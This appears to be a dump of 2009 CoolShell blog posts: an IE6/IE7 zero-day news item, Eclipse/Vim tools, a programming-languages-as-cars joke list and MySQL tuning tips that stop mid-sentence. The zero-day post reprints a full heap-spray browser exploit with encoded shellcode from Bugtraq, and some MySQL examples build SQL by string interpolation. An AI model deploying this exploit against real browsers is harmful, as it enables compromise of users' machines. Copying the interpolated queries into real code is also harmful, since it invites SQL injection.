[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/3136.html)[chmod -x chmod的N种解法](https://coolshell.cn/articles/3136.html)\n* [![某Python实现的尾部递归](../wp-content/uploads/2009/04/snake-150x150.jpg)](https://coolshell.cn/articles/737.html)[某Python实现的尾部递归](https://coolshell.cn/articles/737.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/595.html)[Oracle成功收购Sun](https://coolshell.cn/articles/595.html)\nThe post [正则表达式生成器](https://coolshell.cn/articles/1830.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-22 IE6_IE7 0day 漏洞.md",
    "content": "---\nlayout: post\ntitle: IE6/IE7 0day 漏洞\ndate: 2009/11/22/ 16:52:14\nupdated: 2009/11/22/ 16:52:14\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n昨天（2009年11月21日），Symantec发布了[IE的一个0day安全漏洞的消息](http://www.symantec.com/connect/blogs/zero-day-internet-explorer-exploit-published)。关于这个消息，截止本文发布时，在中文社区里还没有报导。这是一个关于IE6/IE7处理CSS时的一个漏洞（[关于IE和CSS的BUG](https://coolshell.cn/articles/1817.html)）。如果你目前还在使用IE6/IE7，那你现在可能是你升级的时候了，当然，有很多人说IE8是没有问题的，但我个人还是建议在补丁出来之前先使用Firefox或Chrome。\n\n\n根据Symantec的的报告，他们在第一时间内测试了那个“Exploit Code”（攻击代码），根据测试结果表时，那个JavaScript的攻击代码并不是100%的可靠，而且很不可靠，但安全专家相信，100%完全可靠的“攻击代码”将会马上出现。这意味着，这段攻击代码会马上如潮水一样地放在各个有恶意的网站上，然后，所有的IE6/IE7的，打开JavaScript的用户都会被危及。\n\n\n目前，这段攻击代码，虽然很不可靠，但已经被证明在IE6/IE7的 Windows XP SP3上是可靠的，目前还没有相关报告说明有多少台电脑中招了，但我相信，在过去的这个周末，一定有一些人在拼命地在改善这段攻击代码，他们要赶在相关的补丁出来之前。而Microsoft，相信他还是和以前一样，一定要等到攻击很广泛的时候才会开始真正把补丁提上日程。\n\n\n最后，说一下攻击代码，这个代码是在[Bugtraq邮件组](http://seclists.org/bugtraq/2009/Nov/148)中，这段攻击代码如下所示，这段代码攻击性并不可靠。\n\n\n\n\n```\n<!--\nsecuritylab.ir\nK4mr4n_st () yahoo com\n-->\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n\"<a href=\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>\";>\n<HTML xmlns=<a href=\"http://www.w3.org/1999/xhtml\">http://www.w3.org/1999/xhtml</a>;>\n    <HEAD>\n<script>  \n            function load(){\n                var e;\n                e=document.getElementsByTagName(\"STYLE\")[0];\n                e.outerHTML=\"1\";\n            }\n        </script>    \n        <STYLE type=\"text/css\">\n            body{ overflow: scroll; margin: 0; }\n        </style>\n       \n        <SCRIPT language=\"javascript\">\nvar shellcode =\nunescape(\"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063\");\nvar bigblock = unescape(\"%u9090%u9090\");\nvar headersize = 20;\nvar slackspace = headersize+shellcode.length;\nwhile (bigblock.length<slackspace) bigblock+=bigblock;\nfillblock = bigblock.substring(0, slackspace);\nblock = bigblock.substring(0, bigblock.length-slackspace);\nwhile(block.length+slackspace<0x40000) block = block+block+fillblock;\nmemory = new Array();\nfor (x=0; x<4000; x++) memory[x] = block + shellcode;\n</script>\n \n    </HEAD>   \n    <BODY onload=\"load()\">\n    </BODY>\n</HTML>\n```\n\n \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [![新浪微博的XSS攻击](../wp-content/uploads/2011/06/sina_xss01-150x150.png)](https://coolshell.cn/articles/4914.html)[新浪微博的XSS攻击](https://coolshell.cn/articles/4914.html)\n* [![中国仍是IE6的重灾区](../wp-content/uploads/2011/03/IE6-Countdown-150x150.png)](https://coolshell.cn/articles/3921.html)[中国仍是IE6的重灾区](https://coolshell.cn/articles/3921.html)\n* [![微软用新浪来当反面教材](../wp-content/uploads/2011/03/affc-image1-150x150.png)](https://coolshell.cn/articles/3872.html)[微软用新浪来当反面教材](https://coolshell.cn/articles/3872.html)\nThe post [IE6/IE7 0day 漏洞](https://coolshell.cn/articles/1835.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-23 Eclipse 和 Vim.md",
    "content": "---\nlayout: post\ntitle: Eclipse 和 Vim\ndate: 2009/11/23/ 1:7:40\nupdated: 2009/11/23/ 1:7:40\nstatus: publish\npublished: true\ntype: post\n---\n\n以前，neo和发布过[如何在vim中得到你最喜爱的IDE特性](https://coolshell.cn/articles/894.html)，这是一篇在vim中装一些插件而让Vim拥有IDE的功能，比如代码自动提示等功能。当然，目前，可能强大最好用的IDE就是[Eclipse](http://eclipse.org/)和，而最强大的编辑器又是[Vim](http://vim.org/)了，可不可以让这两个东西合二为一呢。没有问题，开源社区的创造力永远不会让你低估。\n\n\n在Vim中拥有Eclipse的功能，在Eclipse里有Vim的功能，那么eclim是你的选择了。<http://eclim.org/> 相关的[中文文档](http://eclim.org/translations/zh_TW/vim/cheatsheet.html#translations-zh-tw-vim-cheatsheet)。使用eclim，你可以在vim中有Eclipse的功能，也可以在Eclipse中嵌入Vim编辑器。很酷。\n\n\n![](../wp-content/uploads/2009/11/eclim.png \"eclim\")\n\n\n\nhttp://eclim.org/_images/gvim_eclim_view.png\n\n\n还有一个工具是**Vrapper**，这个工具是在Eclipse中使用Vim，你只需要在Eclipse的工具栏上点一下那个gvim的按钮就可以了。\n\n\n<http://vrapper.sourceforge.net/home/>\n\n\nhttp://vrapper.sourceforge.net/img/toolbar_button.png \"Vrapper\"\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Eclipse和Vim快捷键桌面](../wp-content/uploads/2010/10/EclipseCanoo1440x900-150x150.png)](https://coolshell.cn/articles/3181.html)[Eclipse和Vim快捷键桌面](https://coolshell.cn/articles/3181.html)\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [Eclipse 和 Vim](https://coolshell.cn/articles/1837.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-24 编程语言汽车.md",
    "content": "---\nlayout: post\ntitle: 编程语言汽车\ndate: 2009/11/24/ 10:24:22\nupdated: 2009/11/24/ 10:24:22\nstatus: publish\npublished: true\ntype: post\n---\n\n**![Oscar Mayer Wienermobile](../wp-content/uploads/2009/11/oscar-meyer-wienermobile.jpg \"Oscar Mayer Wienermobile\")**以前酷壳发布过《[操作系统航空公司](https://coolshell.cn/articles/1272.html)》戏谑了一下如果操作系统是航空公司会怎么样的一种情况。现在，我们来YY一下编程语言，如果编程语言是汽车，又会怎么样？\n\n\n- **Ada**   这是一辆坦克。一个很厚重但很丑的坦克，从不会崩溃。如果你告诉别人你正在驾驶Ada，别人会狂笑不已。但是，你会开着一辆跑车去打战吗？[from Amit Dubey]\n\n- **汇编语言**   只是一个祼露在外的引擎。你不得不自己去造车，并向其提供汽油，但你在驾车时要小心，因为他会像一只从地狱放出来的蝙蝠一样。其实，对于汇编语言，你自己才是车。[From “Subterfug” off digg.com:]\n\n- **Basic**   是一辆很简单的车，对于一些短途的交通比如去一些超市商店，他是很有用的。以前这是一个对初学者很流行的车，然而，近来它蜕变成脚本，而更新的车型被抛光以应对长途旅程，但那也只是新瓶装旧酒。[from Przemyslaw Wrzos]\n\n- **C**   是一辆赛车，它的速度是令人难以想象的快，可惜的是它每50公里就会损毁一次。\n\n- **Cobol**   号称是一辆车，但是，没有哪个“有自尊的司机”会承认以前驾驶过它。\n\n- **C#**   是一个竞争性的家庭旅行车。一旦你开始使用，你就别想再使用别的竞争者的产品了。\n\n- **C++**   是一个加大马力的C赛车，其有一堆新增的功能，而且，它只会每250公里损毁一次。可是，一旦它有故障，没人会知道故障发生在哪里。\n\n\n- **Eiffel**   是一个车，其包括了一个法国口音的内建的驾驶讲师。他会帮你很快的识别你的错误，但是你不能和他争，不然，他会凌辱你后毫不迟疑地把你扔到窗外。[From Daniel Prager ]\n\n- **Erlang**   是一个汽车车队，你想去哪它都会非常合作。你只需要用一只脚就可以开动好几辆车。但是，一旦你学会了如何在它给你设计的地形上驾驶，你就会很难在别的地形上驾驶了。另外，由于你一次驾驶好几辆车，所以，就算是其中几车损毁了也无关紧要。\n\n- **Forth**   是一辆你通过一些工具可以自己造出来的车。你的这个车不需要像别的车。然后，一辆Forth 车只有倒档。[By “256byteram”, on a comment on Digg.com ]\n\n- **Fortran**   是一个非常漂亮的老爷车。它可以走得很快，但条件是那是一条很直的路，而且路上只有你自己。我们相信，学习去驾驶一辆Fortran车，你就可能去学习别的车型。\n\n- **Java**   也是一个家用旅行车，很容易驾驶，但不是很快，而且这是一个你无法伤害自己的车。\n\n- **Haskell**  是一个令人难以想象的超完美设计的相当漂亮的车，有谣言说，这是一辆要可以行驶在极端怪异地形上的车。有一天，你尝试着要去开它，但你发现它并不是顺着路行驶，而是，它把自己和道路都复制了很多份，每一个道路的复制品上都有一辆车，而这些车的位置都比前一个要往前一些。按理来说，我们可以更便捷地驾驶它，但你却对数据不是很懂，所以，你不知道怎么做。  \n\n[Monadic 版:]**Haskell**  并不是一个真正的车。这是一个抽象机器，你需要给足你是怎么去驾驶汽车的流程描述。你不得不把这些抽象机器放到某一个真实的机器中，这样它才能真正的行驶。你并不需要知道，那个真实的机器是怎么工作的。而且，我们还可以把多个抽象机器作成一个抽象机器，这样，当你把其放进真实机器中时，你就能去很多地方了。\n\n- **Lisp**  看上去像一辆车，但你只需要调整，你可把它变成一个飞机或是一个潜水艇。[from Paul Tanimoto:] 首先，这看起来并不像一辆车，但是你会发现还是有人在开他四处走。在你决定去学习驾驶它后，你会意识到这是一辆你可以制造更多的车的车。你告诉你的朋友，但你的朋友们嘲笑你说这个车看起来太怪异了。但就算是这样，你还是始终在你的车库中放着一辆Lisp，并希望有一天你的朋友会开关他到街上。\n\n- **Mathematica**   是一个设置精良的车，其从Lisp借鉴了很多但却没有得到应得的声望。它可以知道什么才是到达目的地最有效的道路，但是那需要运气。\n\n- **Matlab**   是一辆设计给新手司机使用的车，它过可用作一些短途用途，而且，适合它的地形也不多，和是那些“数学车”适合的地形差不多。在这种地面上，驾驶它是非常舒服的，但是一旦你离开适合它的地形，就算是一小辆Matlab的车也会变得很难驾驶。而很多专业的司机都拒绝承认这是一辆车。\n\n- **Ocaml**   是一个很性感的欧洲车。它并不像 **C** 一样的快，但他永远不会被损毁。然后，这是法国式的，所有的控制装置都不在正常的位置。\n\n- **Perl**   本来应该是一个很酷的车，但是它的驾驶员手册相当的难以理解。另外，即使你能搞懂如何驾驶Perl车，你也不能去驾驶别的车。\n\n- **PHP**   是一个 Oscar Mayer Wienermobile（见本文文章头上的图片），它是一个很怪异的车，但是还是有很多的人喜欢去驾驶它。 [from “CosmicJustice” off of digg.com]\n\n- **Prolog**   是一个完全自动化的车：你只要告诉它目的地是什么样的，它就可以带着你去那。[附录 from Paul Graham:] 然而，说明目的地的工作量和你自己开车到那里的工作时是一样的。[另一个版本] **Prolog**   这个车有一个独一无二的GPS装置。它会去为你寻找你要到的目的地，如果到了路的尽头还没有找到，那么，他会回来然后再去试另一条路，直到找到你的目的地为止。\n\n- **Python**   是一个相当不错的入门者的车。你没有驾照也可以驾驶它。除非，你真的想把它开得很快，或是在很BT的地形上驾驶。有了它，你可能不再需要别的车。\n\n- **Ruby**   是一个把Perl, Python和Smalltalk三辆车混合起来的一辆拼装车。一个日本的技师找到了Perl, Python和Smalltalk一些碎片并把这些碎片拼成成了一辆车。很多司机认为这个拼装车比其它三个全部加起来都好。而其它一些司机却喃喃道，这个车提供了很多重复的功能，甚至是三重一样的功能，这些重复的功能在不固定的环境下却又有一些细小的不同，这些重复的功能让这个车更难驾驶。有谣言说Ruby这个车要重新设计。\n\n- **Smalltalk**   只是一个小型车，其原来的目的只是为了让大家学习驾驶。但是，这个车设计的太好了，就算是很有经验的老手也很喜欢驾驶它。它开起来并不是很快，但是你可以把这个车的各个部件全部解开，并且换上你像要的部件，或是组装成你喜欢的样子。你可以给他发一个短信告诉它你要去哪，它会带着你去那，或是告诉你它听不懂你在说什么。很人性化的一辆车。\n\n- **Visual Basic**   这是一辆驾驭你的车。 [from “yivkX360” on digg.com]\n\n \n\n\n文章：[来源](http://www.cs.caltech.edu/~mvanier/hacking/rants/cars.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\nThe post [编程语言汽车](https://coolshell.cn/articles/1839.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-27 MySQL性能优化的最佳20+条经验.md",
    "content": "---\nlayout: post\ntitle: MySQL性能优化的最佳20+条经验\ndate: 2009/11/27/ 10:57:33\nupdated: 2009/11/27/ 10:57:33\nstatus: publish\npublished: true\ntype: post\n---\n\n今天，数据库的操作越来越成为整个应用的性能瓶颈了，这点对于Web应用尤其明显。关于数据库的性能，这并不只是DBA才需要担心的事，而这更是我们程序员需要去关注的事情。当我们去设计数据库表结构，对操作数据库时（尤其是查表时的SQL语句），我们都需要注意数据操作的性能。这里，我们不会讲过多的SQL语句的优化，而只是针对MySQL这一Web应用最多的数据库。希望下面的这些优化技巧对你有用。\n\n\n#### 1. 为查询缓存优化你的查询\n\n\n大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一，而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候，这些查询结果会被放到一个缓存中，这样，后续的相同的查询就不用操作表而直接访问缓存结果了。\n\n\n这里最主要的问题是，对于程序员来说，这个事情是很容易被忽略的。因为，我们某些查询语句会让MySQL不使用缓存。请看下面的示例：\n\n\n\n```\n\n// 查询缓存不开启\n$r = mysql_query(\"SELECT username FROM user WHERE signup_date >= CURDATE()\");\n\n// 开启查询缓存\n$today = date(\"Y-m-d\");\n$r = mysql_query(\"SELECT username FROM user WHERE signup_date >= '$today'\");\n\n```\n\n上面两条SQL语句的差别就是 CURDATE() ，MySQL的查询缓存对这个函数不起作用。所以，像 NOW() 和 RAND() 或是其它的诸如此类的SQL函数都不会开启查询缓存，因为这些函数的返回是会不定的易变的。所以，你所需要的就是用一个变量来代替MySQL的函数，从而开启缓存。\n\n\n\n#### 2. EXPLAIN 你的 SELECT 查询\n\n\n使用 [EXPLAIN](http://dev.mysql.com/doc/refman/5.0/en/explain.html) 关键字可以让你知道MySQL是如何处理你的SQL语句的。这可以帮你分析你的查询语句或是表结构的性能瓶颈。\n\n\nEXPLAIN 的查询结果还会告诉你你的索引主键被如何利用的，你的数据表是如何被搜索和排序的……等等，等等。\n\n\n挑一个你的SELECT语句（推荐挑选那个最复杂的，有多表联接的），把关键字EXPLAIN加到前面。你可以使用phpmyadmin来做这个事。然后，你会看到一张表格。下面的这个示例中，我们忘记加上了group\\_id索引，并且有表联接：\n\n\nhttp://nettuts.s3.amazonaws.com/500_mysql/unoptimized_explain.jpg\n当我们为 group\\_id 字段加上索引后：\n\n\nhttp://nettuts.s3.amazonaws.com/500_mysql/optimized_explain.jpg\n我们可以看到，前一个结果显示搜索了 7883 行，而后一个只是搜索了两个表的 9 和 16 行。查看rows列可以让我们找到潜在的性能问题。\n\n\n#### 3. 当只要一行数据时使用 LIMIT 1\n\n\n当你查询表的有些时候，你已经知道结果只会有一条结果，但因为你可能需要去fetch游标，或是你也许会去检查返回的记录数。\n\n\n在这种情况下，加上 LIMIT 1 可以增加性能。这样一样，MySQL数据库引擎会在找到一条数据后停止搜索，而不是继续往后查少下一条符合记录的数据。\n\n\n下面的示例，只是为了找一下是否有“中国”的用户，很明显，后面的会比前面的更有效率。（请注意，第一条中是Select \\*，第二条是Select 1）\n\n\n\n```\n\n\n// 没有效率的：\n$r = mysql_query(\"SELECT * FROM user WHERE country = 'China'\");\nif (mysql_num_rows($r) > 0) {\n\t// ...\n}\n\n// 有效率的：\n$r = mysql_query(\"SELECT 1 FROM user WHERE country = 'China' LIMIT 1\");\nif (mysql_num_rows($r) > 0) {\n\t// ...\n}\n\n```\n\n#### 4. 为搜索字段建索引\n\n\n索引并不一定就是给主键或是唯一的字段。如果在你的表中，有某个字段你总要会经常用来做搜索，那么，请为其建立索引吧。\n\n\nhttp://nettuts.s3.amazonaws.com/500_mysql/search_index.jpg\n从上图你可以看到那个搜索字串 “last\\_name LIKE ‘a%'”，一个是建了索引，一个是没有索引，性能差了4倍左右。\n\n\n另外，你应该也需要知道什么样的搜索是不能使用正常的索引的。例如，当你需要在一篇大的文章中搜索一个词时，如： “WHERE post\\_content LIKE ‘%apple%'”，索引可能是没有意义的。你可能需要使用[MySQL全文索引](http://dev.mysql.com/doc/refman/5.1/en/fulltext-search.html) 或是自己做一个索引（比如说：搜索关键词或是Tag什么的）\n\n\n#### 5. 在Join表的时候使用相当类型的例，并将其索引\n\n\n如果你的应用程序有很多 JOIN 查询，你应该确认两个表中Join的字段是被建过索引的。这样，MySQL内部会启动为你优化Join的SQL语句的机制。\n\n\n而且，这些被用来Join的字段，应该是相同的类型的。例如：如果你要把 DECIMAL 字段和一个 INT 字段Join在一起，MySQL就无法使用它们的索引。对于那些STRING类型，还需要有相同的字符集才行。（两个表的字符集有可能不一样）\n\n\n\n```\n\n// 在state中查找company\n$r = mysql_query(\"SELECT company_name FROM users\n\tLEFT JOIN companies ON (users.state = companies.state)\n\tWHERE users.id = $user_id\");\n\n// 两个 state 字段应该是被建过索引的，而且应该是相当的类型，相同的字符集。\n\n```\n\n#### 6. 千万不要 ORDER BY RAND()\n\n\n想打乱返回的数据行？随机挑一个数据？真不知道谁发明了这种用法，但很多新手很喜欢这样用。但你确不了解这样做有多么可怕的性能问题。\n\n\n如果你真的想把返回的数据行打乱了，你有N种方法可以达到这个目的。这样使用只让你的数据库的性能呈指数级的下降。这里的问题是：MySQL会不得不去执行RAND()函数（很耗CPU时间），而且这是为了每一行记录去记行，然后再对其排序。就算是你用了Limit 1也无济于事（因为要排序）\n\n\n下面的示例是随机挑一条记录\n\n\n\n```\n\n// 千万不要这样做：\n$r = mysql_query(\"SELECT username FROM user ORDER BY RAND() LIMIT 1\");\n\n// 这要会更好：\n$r = mysql_query(\"SELECT count(*) FROM user\");\n$d = mysql_fetch_row($r);\n$rand = mt_rand(0,$d[0] - 1);\n\n$r = mysql_query(\"SELECT username FROM user LIMIT $rand, 1\");\n\n```\n\n#### 7. 避免 SELECT \\*\n\n\n从数据库里读出越多的数据，那么查询就会变得越慢。并且，如果你的数据库服务器和WEB服务器是两台独立的服务器的话，这还会增加网络传输的负载。\n\n\n所以，你应该养成一个需要什么就取什么的好的习惯。\n\n\n\n```\n\n// 不推荐\n$r = mysql_query(\"SELECT * FROM user WHERE user_id = 1\");\n$d = mysql_fetch_assoc($r);\necho \"Welcome {$d['username']}\";\n\n// 推荐\n$r = mysql_query(\"SELECT username FROM user WHERE user_id = 1\");\n$d = mysql_fetch_assoc($r);\necho \"Welcome {$d['username']}\";\n\n```\n\n#### 8. 永远为每张表设置一个ID\n\n\n我们应该为数据库里的每张表都设置一个ID做为其主键，而且最好的是一个INT型的（推荐使用UNSIGNED），并设置上自动增加的AUTO\\_INCREMENT标志。\n\n\n就算是你 users 表有一个主键叫 “email”的字段，你也别让它成为主键。使用 VARCHAR 类型来当主键会使用得性能下降。另外，在你的程序中，你应该使用表的ID来构造你的数据结构。\n\n\n而且，在MySQL数据引擎下，还有一些操作需要使用主键，在这些情况下，主键的性能和设置变得非常重要，比如，集群，分区……\n\n\n在这里，只有一个情况是例外，那就是“关联表”的“外键”，也就是说，这个表的主键，通过若干个别的表的主键构成。我们把这个情况叫做“外键”。比如：有一个“学生表”有学生的ID，有一个“课程表”有课程ID，那么，“成绩表”就是“关联表”了，其关联了学生表和课程表，在成绩表中，学生ID和课程ID叫“外键”其共同组成主键。\n\n\n#### 9. 使用 ENUM 而不是 VARCHAR\n\n\n[ENUM](http://dev.mysql.com/doc/refman/5.0/en/enum.html) 类型是非常快和紧凑的。在实际上，其保存的是 TINYINT，但其外表上显示为字符串。这样一来，用这个字段来做一些选项列表变得相当的完美。\n\n\n如果你有一个字段，比如“性别”，“国家”，“民族”，“状态”或“部门”，你知道这些字段的取值是有限而且固定的，那么，你应该使用 ENUM 而不是 VARCHAR。\n\n\nMySQL也有一个“建议”（见第十条）告诉你怎么去重新组织你的表结构。当你有一个 VARCHAR 字段时，这个建议会告诉你把其改成 ENUM 类型。使用 PROCEDURE ANALYSE() 你可以得到相关的建议。\n\n\n#### 10. 从 PROCEDURE ANALYSE() 取得建议\n\n\n[PROCEDURE ANALYSE()](http://dev.mysql.com/doc/refman/5.0/en/procedure-analyse.html) 会让 MySQL 帮你去分析你的字段和其实际的数据，并会给你一些有用的建议。只有表中有实际的数据，这些建议才会变得有用，因为要做一些大的决定是需要有数据作为基础的。\n\n\n例如，如果你创建了一个 INT 字段作为你的主键，然而并没有太多的数据，那么，PROCEDURE ANALYSE()会建议你把这个字段的类型改成 MEDIUMINT 。或是你使用了一个 VARCHAR 字段，因为数据不多，你可能会得到一个让你把它改成 ENUM 的建议。这些建议，都是可能因为数据不够多，所以决策做得就不够准。\n\n\n在phpmyadmin里，你可以在查看表时，点击 “Propose table structure” 来查看这些建议\n\n\nhttp://nettuts.s3.amazonaws.com/500_mysql/suggestions.jpg\n一定要注意，这些只是建议，只有当你的表里的数据越来越多时，这些建议才会变得准确。一定要记住，你才是最终做决定的人。\n\n\n#### 11. 尽可能的使用 NOT NULL\n\n\n除非你有一个很特别的原因去使用 NULL 值，你应该总是让你的字段保持 NOT NULL。这看起来好像有点争议，请往下看。\n\n\n首先，问问你自己“Empty”和“NULL”有多大的区别（如果是INT，那就是0和NULL）？如果你觉得它们之间没有什么区别，那么你就不要使用NULL。（你知道吗？在 Oracle 里，NULL 和 Empty 的字符串是一样的！)\n\n\n不要以为 NULL 不需要空间，其需要额外的空间，并且，在你进行比较的时候，你的程序会更复杂。 当然，这里并不是说你就不能使用NULL了，现实情况是很复杂的，依然会有些情况下，你需要使用NULL值。\n\n\n下面摘自MySQL自己的文档：\n\n\n\n> “NULL columns require additional space in the row to record whether their values are NULL. For MyISAM tables, each NULL column takes one bit extra, rounded up to the nearest byte.”\n> \n> \n\n\n#### 12. Prepared Statements\n\n\nPrepared Statements很像存储过程，是一种运行在后台的SQL语句集合，我们可以从使用 prepared statements 获得很多好处，无论是性能问题还是安全问题。\n\n\nPrepared Statements 可以检查一些你绑定好的变量，这样可以保护你的程序不会受到“SQL注入式”攻击。当然，你也可以手动地检查你的这些变量，然而，手动的检查容易出问题，而且很经常会被程序员忘了。当我们使用一些framework或是ORM的时候，这样的问题会好一些。\n\n\n在性能方面，当一个相同的查询被使用多次的时候，这会为你带来可观的性能优势。你可以给这些Prepared Statements定义一些参数，而MySQL只会解析一次。\n\n\n虽然最新版本的MySQL在传输Prepared Statements是使用二进制形势，所以这会使得网络传输非常有效率。\n\n\n当然，也有一些情况下，我们需要避免使用Prepared Statements，因为其不支持查询缓存。但据说版本5.1后支持了。\n\n\n在PHP中要使用prepared statements，你可以查看其使用手册：[mysqli 扩展](http://php.net/manual/en/book.mysqli.php) 或是使用数据库抽象层，如： [PDO](http://us.php.net/manual/en/book.pdo.php).\n\n\n\n```\n\n// 创建 prepared statement\nif ($stmt = $mysqli->prepare(\"SELECT username FROM user WHERE state=?\")) {\n\n\t// 绑定参数\n    $stmt->bind_param(\"s\", $state);\n\n\t// 执行\n    $stmt->execute();\n\n\t// 绑定结果\n    $stmt->bind_result($username);\n\n\t// 移动游标\n    $stmt->fetch();\n\n    printf(\"%s is from %s\\n\", $username, $state);\n\n    $stmt->close();\n}\n\n```\n\n#### 13. 无缓冲的查询\n\n\n正常的情况下，当你在当你在你的脚本中执行一个SQL语句的时候，你的程序会停在那里直到没这个SQL语句返回，然后你的程序再往下继续执行。你可以使用无缓冲查询来改变这个行为。\n\n\n关于这个事情，在PHP的文档中有一个非常不错的说明： [mysql\\_unbuffered\\_query()](http://php.net/manual/en/function.mysql-unbuffered-query.php) 函数：\n\n\n\n> “mysql\\_unbuffered\\_query() sends the SQL query query to MySQL without automatically fetching and buffering the result rows as mysql\\_query() does. This saves a considerable amount of memory with SQL queries that produce large result sets, and you can start working on the result set immediately after the first row has been retrieved as you don’t have to wait until the complete SQL query has been performed.”\n> \n> \n\n\n上面那句话翻译过来是说，mysql\\_unbuffered\\_query() 发送一个SQL语句到MySQL而并不像mysql\\_query()一样去自动fethch和缓存结果。这会相当节约很多可观的内存，尤其是那些会产生大量结果的查询语句，并且，你不需要等到所有的结果都返回，只需要第一行数据返回的时候，你就可以开始马上开始工作于查询结果了。\n\n\n然而，这会有一些限制。因为你要么把所有行都读走，或是你要在进行下一次的查询前调用 [mysql\\_free\\_result()](http://us2.php.net/manual/en/function.mysql-free-result.php) 清除结果。而且， [mysql\\_num\\_rows()](http://us2.php.net/manual/en/function.mysql-num-rows.php) 或 [mysql\\_data\\_seek()](http://us2.php.net/manual/en/function.mysql-data-seek.php) 将无法使用。所以，是否使用无缓冲的查询你需要仔细考虑。\n\n\n#### 14. 把IP地址存成 UNSIGNED INT\n\n\n很多程序员都会创建一个 VARCHAR(15) 字段来存放字符串形式的IP而不是整形的IP。如果你用整形来存放，只需要4个字节，并且你可以有定长的字段。而且，这会为你带来查询上的优势，尤其是当你需要使用这样的WHERE条件：IP between ip1 and ip2。\n\n\n我们必需要使用UNSIGNED INT，因为 IP地址会使用整个32位的无符号整形。\n\n\n而你的查询，你可以使用 [INET\\_ATON()](http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_inet-aton) 来把一个字符串IP转成一个整形，并使用 [INET\\_NTOA()](http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_inet-ntoa) 把一个整形转成一个字符串IP。在PHP中，也有这样的函数 